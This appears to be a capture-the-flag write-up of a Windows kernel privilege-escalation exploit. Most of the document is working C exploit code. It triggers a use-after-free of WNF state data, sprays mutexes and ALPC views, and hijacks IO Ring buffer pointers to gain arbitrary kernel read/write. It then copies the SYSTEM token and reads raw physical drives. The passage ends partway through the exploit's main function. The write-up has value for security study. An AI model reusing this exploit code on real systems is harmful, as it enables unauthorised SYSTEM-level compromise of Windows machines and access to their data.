We figured the easiest way was to allocate a lot of _WNF_STATE_DATA, cause a breakpoint with int3, use WinDbg to continue to the next ExFreePoolWithTag, and replace rcx (the first argument in Windows) with the address of the last _WNF_STATE_DATA. We figured this would work since not freeing a single chunk would probably cause a small memory leak but would leave the rest of the machine unaffected.

#define bp() asm volatile("int3");
static void SetViewBaseToWNFName(char* buf, WNF_STATE_NAME state_name) {
BlobWithView* view = (BlobWithView*) buf;
view->View.Address = *((PUINT64)&state_name);
}
static int allocate_wnf(UINT amt, void (* func)(char*, WNF_STATE_NAME)) {
#define WNF_MAXBUFSIZE (0x1000)
WNF_STATE_NAME StateNames[amt];
NTSTATUS state = 0;
char StateData[0x1000];
memset(StateData, 0x42, sizeof(StateData));
printf("[+] Prepare _WNF_STATE_DATA spray\n");
for (int i = 0; i < amt; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, 0,
WNF_MAXBUFSIZE, pSD);
if (state != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
printf("starting WNF spray\n");
for (int i = 0; i < amt; i++) {
if (func != NULL) {
(*func)(StateData, StateNames[i]);
}
state = NtUpdateWnfStateData(&StateNames[i], &StateData[0x10], (0x90 -
0x10),
0, 0, 0, 0);
if (state != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", state);
return -1;
}
}
char temp[0x1000];
ULONG tempsize = sizeof(temp);
ULONG stamp = 0;
state =
NtQueryWnfStateData(&StateNames[0], 0, NULL, &stamp, temp,
&tempsize);
printf("query status = 0x%lx\n", state);
if (state != 0) {
exit(1);
}
return 0;
}
allocate_wnf(3000, SetViewBaseToWNFName);
WNF_STATE_NAME uafed;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
status =
NtCreateWnfStateName(&uafed, WnfTemporaryStateName, WnfDataScopeUser,
FALSE, 0, WNF_MAXBUFSIZE, pSD);
if (status != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n", GetLastError());
return -1;
}
status = NtUpdateWnfStateData(&uafed, &StateData[0x10], (0x90 - 0x10), 0, 0,
0, 0);
if (status != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n", GetLastError());
printf("state = 0x%lx\n", status);
return -1;
}
printf("WNF State Name: %p\n", *((void **)&uafed));
fflush(stdout);
bp();
allocate_wnf(1000, SetViewBaseToWNFName);
bp();

The address of the _WNF_STATE_DATA we allocated can be found in WinDbg from the address of the process, or $proc when in the exploit process. Since the breakpoint we set after allocating the soon-to-be-UAF’d chunk happens inside the exploit code, WinDbg will be inside the correct process. Using WinDbg’s !wnf command and a bit of analysis, we were able to find the _WNF_STATE_DATA that we had created. With the address we can easily fake a UAF.

r $t0=poi(poi(poi($proc+0x5e8)+0x48)-0x88+0x58);
!pool $t0;
.printf "State Data to UAF: %p\n", $t0;
g;
bp /1 ExFreePoolWithTag "r rcx=@$t0; g";
g

Abusing the UAF for Privilege Escalation

A mutex name can be used to make _WNF_STATE_DATA->DataSize into a large (but not too large) number. Again, since the mutex name is a WCHAR string and _WNF_STATE_DATA->DataSize is a UINT32, the smallest non-null overwrite of the field is 0x10001.

char id[0x20];
WCHAR name[0x100];
memset(name, 0, sizeof(name));
char *spray = (char *)name;
memset(spray, 0x20, 0x90);
_WNF_STATE_DATA *data = (_WNF_STATE_DATA *)spray;
data->Header = 0x41414141;
data->AllocatedSize = 0x10001;
data->DataSize = 0x10001;
data->ChangeStamp = 0x42424242;
// printf("spray len = %llu\n", strlen(spray));
for (int i = 0; i < 0x20000; i++) {
sprintf(id, "%d", i);
memcpy(spray + 0x10, id, strlen(id));
HANDLE m = CreateMutexW(NULL, FALSE, name);
if (m == NULL) {
printf("%d mutex failed!\n", i);
while (1) {
}
}
}

If a mutex successfully reclaims the UAF’d _WNF_STATE_DATA, NtQueryWnfStateData should set the variable pointed to by _Inout_ PULONG BufferSize to 0x10001.

heap visualization of mutex reclaiming UAF'd WNF state data

A large relative read/write in the paged pool has been obtained, but we still aren’t close to privilege escalation.

Since we stored the _WNF_STATE_NAME of each _WNF_STATE_DATA in its data, it is easy to find the names of the data adjacent to the UAF’d data. Since we sprayed so many WNF objects, the chunks ahead of the UAF’d data should consist mostly of the _WNF_STATE_DATA objects that we created.

To find _WNF_STATE_DATA chunks in the leaks, we searched for the Wnf tag in each chunk header.

#define RELEASE_COUNT (20)
#define RELEASE_OFFSET (1)
SprayedData *Sprays;
Sprays = (SprayedData *)((UINT64)leaks - 0x20);
WNF_STATE_NAME NamesToFree[RELEASE_COUNT];
int SearchIdx = RELEASE_OFFSET;
int WriteIdx = 0;
while (SearchIdx < (0x1000 / 0xa0)) {
int idx = SearchIdx++;
if (memcmp(&Sprays[idx].Header.PoolTag, "Wnf ", 4) == 0) {
WNF_STATE_NAME *name =
(WNF_STATE_NAME *)&(Sprays[idx].Obj.View.Address);
NamesToFree[WriteIdx++] = name[0];
}
}

While we can read up to 0x10001 bytes of data from our corrupted _WNF_STATE_DATA, writing is limited to 0x1000 bytes.

Exploit #1

Arbitrary Decrement

Using the out of bounds heap write, we can modify other objects in the 0xa0 paged pool, including other _KALPC_VIEW and _KALPC_SECTION objects. These objects contain pointers to other heap objects which we now control. Internally all ALPC objects are reference counted:

struct _BLOB
{
union
{
struct _LIST_ENTRY_1 ResourceList;
struct _SLIST_ENTRY_1 FreeListEntry;
} __inner0;
union
{
struct
{
union
{
uint8_t ReferenceCache;
uint8_t Lookaside;
uint8_t Initializing;
uint8_t Deleted;
} __bitfield0;
} s1;
uint8_t Flags;
} u1;
uint8_t ResourceId;
int16_t CachedReferences;
__padding char _padding[4];
int64_t ReferenceCount;
struct _EX_PUSH_LOCK Lock;
};

The blob is always stored at offset -0x30 relative to the ALPC object. Here is the code for AlpcDereferenceBlobEx:

uint64_t AlpcpDereferenceBlobEx(struct ViewWithBlob* view, int32_t arg2)
int64_t dec = sx.q(neg.d(arg2))
int64_t ReferenceCount = view->ReferenceCount
view->ReferenceCount += dec
uint64_t result = ReferenceCount + dec
if (result s<= 0) ...
return result

All of the freeing logic only runs when the reference count is less than or equal to 0. So we just need to find a controllable pointer in _KALPC_VIEW or _KALPC_SECTION that won’t crash when modified to point to another location and that we can trigger the decrement on.

Arbitrary Read

As previously mentioned we are prevented from using NtFsControlFile for arbitrary read by the DisallowFsctlSystemCalls flag. But the good news is that this field is stored in the EPROCESS structure and we have an EPROCESS leak! _KALPC_VIEW objects store a pointer to the owning process in the OwnerProcess field which we can leak using our out of bounds read. Once we have the address of our EPROCESS structure all we need to do is decrement the bitfield structure that stores DisallowFsctlSystemCalls to disable it.

Now we have full access to NtFsControlFile to perform arbitrary read.

To recap we now have access to:

  1. Out of bounds heap read
  2. Out of bounds heap write
  3. Arbitrary decrement (for any 8 byte value that is signed greater than 1)
  4. Arbitrary read

PreviousMode

In 22 they describe how to abuse arbitrary increment and decrement primitives to achieve LPE in windows. They describe a technique to decrement the Privileges.Present and Privileges.Enabled fields of the TOKEN structure, but the post exploitation seemed annoying so we tried a different technique instead. We found a few nccgroup posts 23 24 that discuss abusing the PreviousMode field of ETHREAD for arbitrary kernel read/write.

An ETHREAD structure exists for every thread associated with a process and are stored in a doubly linked list in the process’s EPROCESS structure. ETHREAD contains a field called PreviousMode that is used by the kernel to determine which privilege level was used to call into the kernel. PreviousMode has 2 defined values:

typedef enum {
KernelMode = 0,
UserMode = 1
} MODE;

The reason that Windows stores this information is because the kernel functions that serve userland system calls can also be invoked by drivers or other code in the kernel. If a function has been indirectly invoked from userland via a syscall mechanism, then the kernel must perform checks on any arguments that are passed from userland in order to ensure that the program isn’t attempting to pass kernel addresses as arguments that are read/written to. This is to ensure that a malicious userland program can’t abuse kernel code to read or write to kernel memory. The kernel verifies that addresses are valid userland addresses by checking that the address is less than the userland address limit. The userland address limit is the highest possible address that is allowed to be mapped to userland. Since these functions can be invoked indirectly from userland via syscalls and directly from the kernel these validation checks are only executed if ETHREAD.PreviousMode is set to UserMode.

If an attacker can leverage some sort of primitive to modify the value of ETHREAD.PreviousMode from UserMode (1) to KernelMode (0) then the kernel will skip all of the address checking for userland syscalls. After this NtWriteVirtualMemory and NtReadVirtualMemory can be used to perform arbitrary kernel read/write.

If you want to know more about this technique you can check out this 23 for a more in depth explanation.

Using the arbitrary decrement primitive to subtract one from ETHREAD.PreviousMode to change it to KernelMode

[insert image of kernel bugcheck]

The problem is that recently Windows added checks to catch when ETHREAD.PreviousMode is set to KernelMode for userland threads. As far as I can tell this mostly breaks PreviousMode exploits. Since PreviousMode is now always set to UserMode on syscall entry you have to overwrite PreviousMode after a thread has entered the kernel. This isn’t too difficult and you simply suspend a victim thread and them perform the PreviousMode write from another thread. The issue that arrises is that when returning from a syscall Windows now checks that PreviousMode should be UserMode and bugchecks otherwise.

Exploit #2

IO Rings

While trying to figure out why the PreviousMode exploit wasn’t working I stumbled across a few posts 25 26 27 28 talking about IO Rings. @cope actually found a similar post a month before but we both ignored it. IO Rings are a feature of Windows that is similar to io_uring in Linux. They provide a way for userland to request the kernel to perform multiple IO operations in sequence without having to pay the cost of context switching in and out of the kernel every time. Userland also needs to register buffers with the kernel to provide input and output buffers. The exploitable part of IO Rings is that userland buffers are only validated when they are registered with the kernel and are never checked afterwards. If an attacker can overwrite the IO Ring buffer addresses they can achieve arbitrary kernel read/write.

IO Ring buffers

typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
PMDL Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
IOP_MC_BE_PAGE_NODE PageNodes[1];
} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;

IO Rings buffers are registered in the kernel using the IORING_OP_REGISTER_BUFFERS opcode and are allowed as an array of _IOP_MC_BUFFER_ENTRY * in the paged pool.

uint32_t OrigRegBuffersCount_2 = OrigRegBuffersCount
if (BufferCount != OrigRegBuffersCount_2)
struct _IOP_MC_BUFFER_ENTRY** entries =
ExAllocatePool2(0x101, BufferCount << 3, 'BRrI')

So if we register 18 buffers with the kernel the amount of bytes allocated is 18 * 8 = 0x90 and places the IO Ring buffers array into the 0xa0 paged pool. This primitive is extremely powerful. Not only is the size of the allocation completely controlled by an attacker, because SMAP is not enabled on Windows the pointers in the array can be overwritten with pointers to fake _IOP_MC_BUFFER_ENTRY structures in userland.

EPROCESS leak

We can reuse the same EPROCESS leak from Exploit #1 to find the address of our EPROCESS structure.

Arbitrary Read/Write

IO Rings, combined with our out of bounds WNF heap read/write in the 0xa0 paged pool we can build arbitrary kernel read/write 27 28.

System Privileges

The EPROCESS structure contains a doubly linked list of all processes on the system. Using our arbitrary read/write we traverse this process list until we locate the SYSTEM process and copy its TOKEN address. Overwriting the TOKEN field in our EPROCESS with the SYSTEM TOKEN elevates our privileges to SYSTEM.

Found System!
Target process = FFFFE40FB7688040
SystemToken = FFFFBB82B922174D
dumping flags
reading flag into buffer
nbytes = 512
flag =
reading flag into buffer
nbytes = 512
flag =
reading flag into buffer
nbytes = 512
flag = 3\xc0\x8eм
reading flag into buffer
nbytes = 512
flag = fake_flag{i_hate_windows}

Final Exploit

exploit.c

#include "exploit.h"
#include <stdbool.h>
#ifdef REMOTE
#define WNF_STARVER_SPRAY (0x20)
#define bp()
#else
#define WNF_STARVER_SPRAY (0x40)
// #define bp() asm volatile("int3");
// #define bp()
#endif
volatile long long flag = -1;
volatile long long go = 0;
HANDLE readPipe;
HANDLE writePipe;
HANDLE serverPort;
HANDLE alpcSection = NULL;
PALPC_DATA_VIEW_ATTR dataViewAttrs;
void *sectionViewAddr = NULL;
#define WNF_TRIGGER_SPRAY (0x00)
#define WNF_MAXBUFSIZE (0x1000)
#define COUNT (1)
WNF_STATE_NAME TriggerNames[WNF_TRIGGER_SPRAY];
WNF_STATE_NAME StarverNames[WNF_STARVER_SPRAY];
typedef struct {
HANDLE Section;
void *ViewBase;
} SectionView;
void CreatePortSection(HANDLE port, HANDLE *OutHandle) {
NTSTATUS status;
SIZE_T actualSize = 0;
status =
NtAlpcCreatePortSection(port, 0, NULL, 0x1000, OutHandle, &actualSize);
if (status < 0) {
printf("NtAlpcCreatePortSection = 0x%lx\n", status);
while (1) {
}
}
}
void *AttachView(HANDLE port, HANDLE SectionHandle) {
NTSTATUS status;
msg_view_attr attrs = {0};
PALPC_DATA_VIEW_ATTR dv = &attrs.view_attr;
dv->Flags = 0;
dv->SectionHandle = SectionHandle;
dv->ViewBase = NULL;
dv->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(port, 0, dv);
if (status < 0) {
printf("NtAlpcCreateSectionView = 0x%lx\n", status);
}
return dv->ViewBase;
}
SectionView *SingletonView(HANDLE port) {
NTSTATUS status;
SectionView *singleton = (SectionView *)malloc(sizeof(SingletonView));
CreatePortSection(port, &singleton->Section);
singleton->ViewBase = AttachView(port, singleton->Section);
return singleton;
}
BOOL ValidWnf(SprayedData *data) {
return (memcmp(&data->Header.PoolTag, "Wnf ", 4) == 0 &&
data->Header.PreviousSize == 0 && data->Header.PoolIndex == 0);
}
#define TOKEN_OFFSET (0x248)
#define IMAGE_FILENAME_OFFSET (0x338)
void *eprocess = NULL;
void *SystemToken = NULL;
#define RELEASE_COUNT (10000)
#define RELEASE_OFFSET (1)
SprayedData *Sprays;
SprayedData *FindHeapObj(char *tag, int startIdx, size_t range) {
int SearchIdx = startIdx;
while (true) {
int idx = SearchIdx++;
if (memcmp(&Sprays[idx].Header.PoolTag, tag, 4) == 0) {
return &Sprays[idx];
}
if (idx >= (range / 0xa0)) {
printf("failed to find %s object!\n", tag);
while (true) {}
}
}
}
#define IORINGS (0x1000)
#define IORING_BUFFERS ((0xa0 - 0x10) / sizeof(void *))
HIORING IoRingHandles[IORINGS];
HIORING VictimRing;
HANDLE VictimReadPipe;
HANDLE VictimWritePipe;
_IOP_MC_BUFFER_ENTRY fake;
void KernelRead(UINT64 addr, void *buf, ULONG len) {
ULONG nbytes;
HRESULT result;
IORING_CQE cqe;
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(VictimWritePipe);
memset(&fake, 0, sizeof(fake));
fake.Type = 0xc02;
fake.Size = 0x80;
fake.AccessMode = 1;
fake.ReferenceCount = 1;
fake.Address = (void *)addr;
fake.Length = len;
result = BuildIoRingWriteFile(VictimRing,
requestDataFile,
requestDataBuffer,
len,
0,
FILE_WRITE_FLAGS_NONE,
0,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result)) {
printf("Failed building IO ring write file structure: 0x%lx\n", result);
goto Exit;
}
result = SubmitIoRing(VictimRing, 0, 0, NULL);
if (!SUCCEEDED(result)) {
printf("Failed submitting IO ring: 0x%lx\n", result);
goto Exit;
}
result = PopIoRingCompletion(VictimRing, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) {
printf("Failed reading kernel memory 0x%lx\n", cqe.ResultCode);
goto Exit;
}
if(!ReadFile(VictimReadPipe, buf, len, &nbytes, NULL)) {
printf("Failed reading pipe\n");
}
if (nbytes != len) {
printf("Read mismatch %lu != %lu\n", nbytes, len);
}
Exit:;
}
void KernelWrite(UINT64 addr, void *buf, ULONG len) {
ULONG nbytes;
HRESULT result;
IORING_CQE cqe;
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(VictimReadPipe);
if (!WriteFile(VictimWritePipe, buf, len, &nbytes, NULL)) {
printf("Failed writing pipe\n");
}
if (nbytes != len) {
printf("Write mismatch %lu != %lu\n", nbytes, len);
}
memset(&fake, 0, sizeof(fake));
fake.Type = 0xc02;
fake.Size = 0x80;
fake.AccessMode = 1;
fake.ReferenceCount = 1;
fake.Address = (void *)addr;
fake.Length = len;
result = BuildIoRingReadFile(VictimRing,
requestDataFile,
requestDataBuffer,
len,
0,
0,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result)) {
printf("Failed building IO ring read file structure: 0x%lx\n", result);
goto Exit;
}
result = SubmitIoRing(VictimRing, 0, 0, NULL);
if (!SUCCEEDED(result)) {
printf("Failed submitting IO ring: 0x%lx\n", result);
goto Exit;
}
result = PopIoRingCompletion(VictimRing, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) {
printf("Failed writing kernel memory 0x%lx\n", cqe.ResultCode);
goto Exit;
}
Exit:;
}
UINT64 KernelReadQ(UINT64 addr) {
UINT64 q;
KernelRead(addr, (void *)&q, sizeof(q));
return q;
}
void KernelWriteQ(UINT64 addr, UINT64 val) {
KernelWrite(addr, &val, sizeof(val));
}
void Win() {
char drive[32];
char buf[512];
DWORD bytesRead;
HANDLE hFile;
printf("dumping flags\n");
for (int i = 0; i < 10; i++) {
snprintf(drive, sizeof(drive), "\\\\?\\PhysicalDrive%d", i);
hFile = CreateFileA(drive, GENERIC_READ, 0, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
printf("failed to open flag file 0x%lx\n", GetLastError());
}
printf("reading flag into buffer\n");
if (!ReadFile(hFile, buf, sizeof(buf), &bytesRead, NULL)) {
printf("failed to read flag file\n");
}
buf[bytesRead] = 0;
printf("nbytes = %lu\n", bytesRead);
printf("flag = %s\n", buf);
}
printf("exploit done!\n");
fflush(stdout);
}
/*
* Creates WNF State Names
*/
DWORD Trigger(void *ctx) {
NTSTATUS status;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
char ch[COUNT];
memset(ch, 0x41, sizeof(ch));
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
// printf("worked!\n");
// int prio = GetThreadPriority(GetCurrentThread());
// printf("prio = %d\n", prio);
int iter = 0;
while (!go) {
}
while (1) {
if ((iter++ % 50000) == 0) {
printf(".");
}
for (int i = 0; i < WNF_STARVER_SPRAY; i++) {
status = NtCreateWnfStateName(
&StarverNames[i], WnfTemporaryStateName, WnfDataScopeUser,
FALSE, 0, WNF_MAXBUFSIZE, pSD);
if (status != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
asm volatile("" ::: "memory");
flag = 1;
asm volatile("" ::: "memory");
status = WriteFile(writePipe, &ch, sizeof(ch), NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
break;
}
while (flag) {
}
}
printf("trigger done!\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
while (1) {
Yield();
}
}
/*
* Deletes ALPC Views
* Creates WNF State Data
*/
DWORD Starver(void *ctx) {
NTSTATUS status;
char ch;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
BlobWithView *fake = (BlobWithView *)&StateData;
fake->Blob.u1 = 0;
fake->Blob.ReferenceCount = 1;
fake->Blob.ResourceId = 6;
fake->View.Region = NULL;
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
// printf("worked!\n");
// int prio = GetThreadPriority(GetCurrentThread());
// printf("prio = %d\n", prio);
while (!go) {
}
Sleep(1000);
while (1) {
if (flag) {
status = ReadFile(readPipe, &ch, 1, NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
goto done;
}
NtAlpcDeleteSectionView(serverPort, 0, sectionViewAddr);
for (int i = 0; i < WNF_STARVER_SPRAY; i++) {
if (dataViewAttrs->ViewBase != 0 &&
dataViewAttrs->ViewBase != sectionViewAddr) {
printf("!\n");
goto done;
}
if (dataViewAttrs->ViewSize != 0x1000) {
printf("!\n");
goto done;
}
UINT64 Leak = *(UINT64 *)&StarverNames[i];
fake->View.Address = Leak;
status =
NtUpdateWnfStateData(&StarverNames[i], &StateData[0x10],
(0x90 - 0x10), 0, 0, 0, 0);
if (status != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", status);
return -1;
}
}
asm volatile("" ::: "memory");
flag = 0;
asm volatile("" ::: "memory");
}
}
done:
printf("starver done!\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
while (1) {
Yield();
}
}
int main() {
NTSTATUS status;
HANDLE self = GetCurrentThread();
Init();
#ifdef REMOTE
printf("GREETING FROM REMOTE!\n");
#endif
status = CreatePipe(&readPipe, &writePipe, NULL, 0x1000);
printf("CreatePipe = 0x%lx\n", status);
status = NtAlpcCreatePort(&serverPort, NULL, NULL);
printf("NtAlpcCreatePort = 0x%lx\n", status);
printf("serverPort = %p\n", serverPort);
SIZE_T actualSize = 0;
status = NtAlpcCreatePortSection(serverPort, 0, NULL, 0x1000, &alpcSection,
&actualSize);
printf("NtAlpcCreatePortSection: 0x%lx\n", status);
printf("alpcSection: %p\n", alpcSection);
msg_view_attr attrs = {0};
dataViewAttrs = &attrs.view_attr;
PALPC_MESSAGE_ATTRIBUTES msgAttrs = &attrs.msg_attr;
msgAttrs->AllocatedAttributes = ALPC_MESSAGE_VIEW_ATTRIBUTE;
msgAttrs->ValidAttributes = ALPC_MESSAGE_VIEW_ATTRIBUTE;
dataViewAttrs->Flags = 0;
dataViewAttrs->SectionHandle = alpcSection;
dataViewAttrs->ViewBase = NULL;
dataViewAttrs->ViewSize = 0x1000;
ALPC_MESSAGE message;
RtlZeroMemory(&message, sizeof(message));
message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE);
status = NtAlpcCreateSectionView(serverPort, 0, dataViewAttrs);
printf("NtAlpcCreateSectionView: 0x%lx\n", status);
printf("View Base: %p\n", dataViewAttrs->ViewBase);
sectionViewAddr = dataViewAttrs->ViewBase;
// HIGH_PRIORITY_CLASS
// REALTIME_PRIORITY_CLASS
status = SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
printf("SetPriorityClass = 0x%lx\n", status);
status = SetThreadAffinityMask(self, AFFINITY_CORE0);
printf("SetThreadAffinityMask = 0x%lx\n", status);
status = SetThreadPriority(self, THREAD_PRIORITY_ABOVE_NORMAL);
printf("SetThreadPriority = 0x%lx\n", status);
status = SetThreadPriorityBoost(self, TRUE);
printf("SetThreadPriorityBoost = 0x%lx\n", status);
HANDLE starvers[COUNT];
for (int i = 0; i < COUNT; i++) {
starvers[i] = CreateThread(NULL, 0, Starver, NULL, 0, NULL);
status = SetThreadAffinityMask(starvers[i], AFFINITY_CORE0);
printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(starvers[i],
// THREAD_PRIORITY_TIME_CRITICAL); printf("SetThreadPriority = 0x%lx\n",
// status);
}
HANDLE trigger = CreateThread(NULL, 0, Trigger, NULL, 0, NULL);
status = SetThreadAffinityMask(trigger, AFFINITY_CORE1);
printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(trigger, THREAD_PRIORITY_TIME_CRITICAL);
// printf("SetThreadPriority = 0x%lx\n", status);
EmptyPagedPool();
Sleep(1000);
go = 1;
while (1) {
dataViewAttrs->ViewBase = NULL;
dataViewAttrs->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(serverPort, 0, dataViewAttrs);
if (dataViewAttrs->ViewBase != 0 &&
dataViewAttrs->ViewBase != sectionViewAddr) {
printf("!\n");
break;
}
if (dataViewAttrs->ViewSize != 0x1000) {
printf("!\n");
break;
}
}
SuspendThread(trigger);
for (int i = 0; i < COUNT; i++) {
SuspendThread(starvers[i]);
}
status = SetThreadAffinityMask(self, AFFINITY_CORE1 | AFFINITY_CORE0);
// printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(self, THREAD_PRIORITY_NORMAL);
// printf("SetThreadPriority = 0x%lx\n", status);
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
printf("got mismatch (ViewBase): %p\n", dataViewAttrs->ViewBase);
printf("got mismatch (ViewSize): 0x%llx\n", dataViewAttrs->ViewSize);
struct _WNF_STATE_NAME uafed =
*(struct _WNF_STATE_NAME *)&dataViewAttrs->ViewBase;
printf("before mutex spray!: ");
char temp[0x1000];
ULONG dataSize = sizeof(temp);
ULONG stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, &temp, &dataSize);
printf("status = 0x%lx\n", status);
printf("dataSize = 0x%lx\n", dataSize);
if (status == 0) {
// for (int i = 0; i < dataSize; i += 8) {
// printf("offset %p = %p\n", (void *)(UINT64)i,
// (void *)*(UINT64 *)&temp[i]);
// }
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
}
char id[0x20];
WCHAR name[0x100];
memset(name, 0, sizeof(name));
char *spray = (char *)name;
memset(spray, 0x20, 0x90);
_WNF_STATE_DATA *data = (_WNF_STATE_DATA *)spray;
data->Header = 0x41414141;
data->AllocatedSize = 0x10001;
data->DataSize = 0x10001;
data->ChangeStamp = 0x42424242;
// printf("spray len = %llu\n", strlen(spray));
for (int i = 0; i < 0x20000; i++) {
sprintf(id, "%d", i);
memcpy(spray + 0x10, id, strlen(id));
HANDLE m = CreateMutexW(NULL, FALSE, name);
if (m == NULL) {
printf("%d mutex failed!\n", i);
while (1) {
}
}
}
allocate_wnf(1000, SetViewBaseToWNFName);
printf("mutex spray done!\n");
// printf("before query: ");
// bp()
#define LEAK_SIZE (0x20000)
char *leaks = malloc(LEAK_SIZE);
dataSize = LEAK_SIZE;
stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, leaks, &dataSize);
printf("dataSize = 0x%lx\n", dataSize);
if (status == 0) {
// for (int i = 0; i < min(dataSize, 0x200); i += 8) {
// printf("offset %p = %p\n", (void *)(UINT64)i,
// (void *)*(UINT64 *)&leaks[i]);
// }
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
while (1) {
}
}
// leak points to chunk + 0x20
// - 0x10 for pool header
// - 0x10 for _WNF_STATE_DATA
Sprays = (SprayedData *)((UINT64)leaks - 0x20);
WNF_STATE_NAME NamesToFree[RELEASE_COUNT];
int SearchIdx = RELEASE_OFFSET;
int WriteIdx = 0;
while (SearchIdx < (0x1000 / 0xa0)) {
int idx = SearchIdx++;
if (memcmp(&Sprays[idx].Header.PoolTag, "Wnf ", 4) == 0) {
WNF_STATE_NAME *name =
(WNF_STATE_NAME *)&(Sprays[idx].Obj.View.Address);
NamesToFree[WriteIdx++] = name[0];
}
}
int IoRings = WriteIdx / 2;
int SectionViews = WriteIdx / 2;
printf("found %d Wnf objects\n", WriteIdx);
printf("allocating %d IoRings\n", IORINGS);
printf("IORING_BUFFERS = 0x%llx\n", IORING_BUFFERS);
IORING_BUFFER_INFO IoRingBuffers[IORING_BUFFERS];
IORING_CREATE_FLAGS IoRingFlags;
IoRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
IoRingFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
HRESULT result;
memset(IoRingBuffers, 0, sizeof(IoRingBuffers));
IoRingBuffers[0].Address = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!IoRingBuffers[0].Address) {
printf("VirtualAlloc failed\n");
while (true) {}
}
IoRingBuffers[0].Length = 8;
for (int i = 0; i < IORINGS; i++) {
result = CreateIoRing(IORING_VERSION_3, IoRingFlags, 0x1000, 0x1000, &IoRingHandles[i]);
if (!SUCCEEDED(result)) {
printf("failed to create IoRing %d\n", i);
printf("CreateIoRing = 0x%lx\n", result);
while (true) {}
}
}
for (int i = 0; i < IoRings; i++) {
status = NtDeleteWnfStateData(&NamesToFree[i], NULL);
if (status != 0) {
printf("failed to delete Wnf %d\n", i);
printf("NtDeleteWnfStateData = 0x%lx\n", status);
while (true) {}
}
}
for (int i = 0; i < IORINGS; i++) {
result = BuildIoRingRegisterBuffers(IoRingHandles[i], IORING_BUFFERS, IoRingBuffers, 0);
if (!SUCCEEDED(result)) {
printf("failed to register IoRing buffer %d\n", i);
printf("BuildIoRingRegisterBuffers = 0x%lx\n", result);
while (true) {}
}
UINT32 submitted;
result = SubmitIoRing(IoRingHandles[i], 0, INFINITE, &submitted);
if (!SUCCEEDED(result)) {
printf("failed to submit IoRing %d\n", i);
printf("SubmitIoRing = 0x%lx\n", result);
while (true) {}
}
}
printf("IoRing spray done!\n");
for (int i = IoRings; i < IoRings + SectionViews; i++) {
status = NtDeleteWnfStateData(&NamesToFree[i], NULL);
if (status != 0) {
printf("failed to delete Wnf %d\n", i);
printf("NtDeleteWnfStateData = 0x%lx\n", status);
while (true) {}
}
}
#define VIEW_SPRAY_COUNT (0x200)
SectionView *views[VIEW_SPRAY_COUNT];
for (int i = 0; i < VIEW_SPRAY_COUNT; i++) {
views[i] = SingletonView(serverPort);
}
printf("requerying\n");
stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, leaks, &dataSize);
if (status == 0) {
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
while (true) {}
}
eprocess = FindHeapObj("AlVi", RELEASE_OFFSET, 0x10000)->Obj.View.OwnerProcess;
printf("found eprocess!\n");
printf("eprocess = %p\n", eprocess);
_Static_assert(sizeof(_IOP_MC_BUFFER_ENTRY) == 0x80, "Size");
